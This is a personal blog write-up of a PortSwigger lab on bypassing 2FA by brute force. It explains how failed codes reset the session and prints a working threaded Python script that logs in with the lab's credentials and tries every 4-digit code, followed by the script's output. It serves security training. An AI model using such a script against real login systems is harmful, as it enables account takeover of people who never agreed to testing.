siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

2FA bypass using a brute-force attack | Dec 22, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: 2FA bypass using a brute-force attack! Without further ado, let’s dive in.

Background

This lab’s two-factor authentication is vulnerable to brute-forcing. You have already obtained a valid username and password, but do not have access to the user’s 2FA verification code. To solve the lab, brute-force the 2FA code and access Carlos’s account page.

Victim’s credentials: carlos:montoya

Exploitation

Login page:

Login as user carlos:

Let’s try to type an incorrect security code:

When we entered an incorrect security code, it’ll display Incorrect security code.

However, when I send the request again:

A new session cookie will be set, and logs out.

What if I send the request after that?

session does not contain a CSRF token.

Armed with above information, we can brute force the 2FA via a python script:

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep
from bs4 import BeautifulSoup

def sendRequest(url, number):
    # Display current number and use \r to clear previous line
    print(f'[*] Trying number: {number}', end='\r')

    session = requests.Session()

    # Get login CSRF token
    login1Request = session.get(url + '/login')
    soup = BeautifulSoup(login1Request.text, 'html.parser')
    login1CsrfToken = soup.find('input', {'name': 'csrf'}).get('value')

    login1Data = {
        'csrf': login1CsrfToken,
        'username': 'carlos',
        'password': 'montoya'
    }
    
    # Login as user carlos
    login1RequestResponse = session.post(url + '/login', data=login1Data)

    # Get 2FA page CSRF token
    login2Request = session.get(url + '/login2')
    soup = BeautifulSoup(login2Request.text, 'html.parser')
    login2CsrfToken = soup.find('input', {'name': 'csrf'}).get('value')

    login2Data = {
        'csrf': login2CsrfToken,
        'mfa-code': number
    }

    # Enter 2FA code
    result = session.post(url + '/login2', data=login2Data)

    if 'Incorrect security code' not in result.text:
        print(f'[+] Found security code: {number}')

def main():
    url = 'https://0aa3005a0329b950c25d170a00dd0025.web-security-academy.net'

    # Generate number 0000 to 9999 into a list
    listNumbers = [f'{i:04d}' for i in range(10000)]

    for number in listNumbers:
        thread = Thread(target=sendRequest, args=(url, number))
        thread.start()

        # You can adjust how fast of each connection. 0.2s is recommended.
        sleep(0.2)

if __name__ == '__main__':
    main()
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# python3 brute_2facode.py
[+] Found security code: 0867

Note: Since each entire session’s GET and POST requests take around 10 - 15 seconds to finish, please don’t cancel the script. I did it, and I wasted 3 hours to “fix” the script lol.

What we’ve learned:

  1. 2FA bypass using a brute-force attack